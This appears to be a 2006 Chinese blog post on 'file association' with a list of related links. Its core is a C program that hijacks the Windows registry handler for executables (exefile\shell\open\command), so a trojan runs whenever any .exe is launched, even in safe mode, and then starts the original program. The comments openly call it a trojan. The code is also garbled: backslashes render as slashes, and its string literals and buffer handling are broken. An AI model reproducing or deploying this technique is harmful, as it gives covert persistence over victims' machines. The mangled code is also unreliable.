文件关联

原创 2006年05月28日 15:45:00
#include <stdio.h>
#include <windows.h>
int main(int argc,char *argv[])
{
MessageBox(NULL,"Hello",NULL,MB_OK);
char temp[256];
memset(temp,0,256);
if(argc!=1){
int length =strlen(argv[1]);
char *ch=(char *)malloc(length);
strcpy(ch,argv[1]);
for(int i=0;i<length;i++,ch++)
{
if(*ch=='//')
strncat(temp,"////",2);
else strncat(temp,ch,1);
}
}//上面的函数是把字符串中所有的"/"变为"//"
char str[]="/"%1/" %*"; 
RegSetValue(HKEY_CLASSES_ROOT,"exefile//shell//open//command",REG_SZ,(LPCTSTR)str,strlen(str)+1);
// 在执行原有程序之前必须把注册表恢复,否则用ShellExecute还是执行我们的木马程序。
ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//执行原有的程序
//在程序执行完成后,再把注册表改为我们要启动的木马程序的
TCHAR filename[256];
// 得到程序全路径名
GetModuleFileName( NULL, filename, 255 );
strcat(filename," /"%1/" %*");
RegSetValue(HKEY_CLASSES_ROOT,"exefile//shell//open//command",REG_SZ,(LPCTSTR)filename , strlen(filename) + 1);
//经过上述过程只要程序一运行就会执行我们的start 程序了。即使是在安全模式下只要执行可执行程序就会运行我们的程序了。
 
return 0;
}
版权声明:本文为博主原创文章,未经博主允许不得转载。

相关文章推荐

MATLAB文件关联

解决matlab安装后没有快捷方式启动弹出DOS界面并且m文件无关联的方法

试了matlab的2011版和2013a两个版本,默认安装后都出现了yix

文件关联查看器

  • 2016-01-26 16:23
  • 58KB
  • 下载

删除文件关联

  • 2015-04-19 21:02
  • 84KB
  • 下载

Exchange2003中的MDBDATA文件夹下的这些文件有什么用,与Exchange server有何关联

首先说一下D:\Exchsrvr\MDBDATA目录都是些什么文件,edb、stm都是数据库文件,一个是MAPI协议的产物,一个是SMTP协议的产物。chk文件是检查点文件,记录数据库备份到哪个点了,...

文件关联恢复

  • 2014-05-11 12:36
  • 50KB
  • 下载

Matlab关联文件

  • 2014-06-15 10:04
  • 215B
  • 下载

C#关联程序的文件路径中存在空格的问题解决

今天测试的时候无意间发现,打开通过写注册表关联了程序的文件,如果文件名中存在空格,则无法通过双击打开。 经测试发现,原来是在Main方法入口点传入的参数为string[] 类型,当传入带空格的路径时...

注册表文件关联

  • 2013-12-03 10:03
  • 23.82MB
  • 下载
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)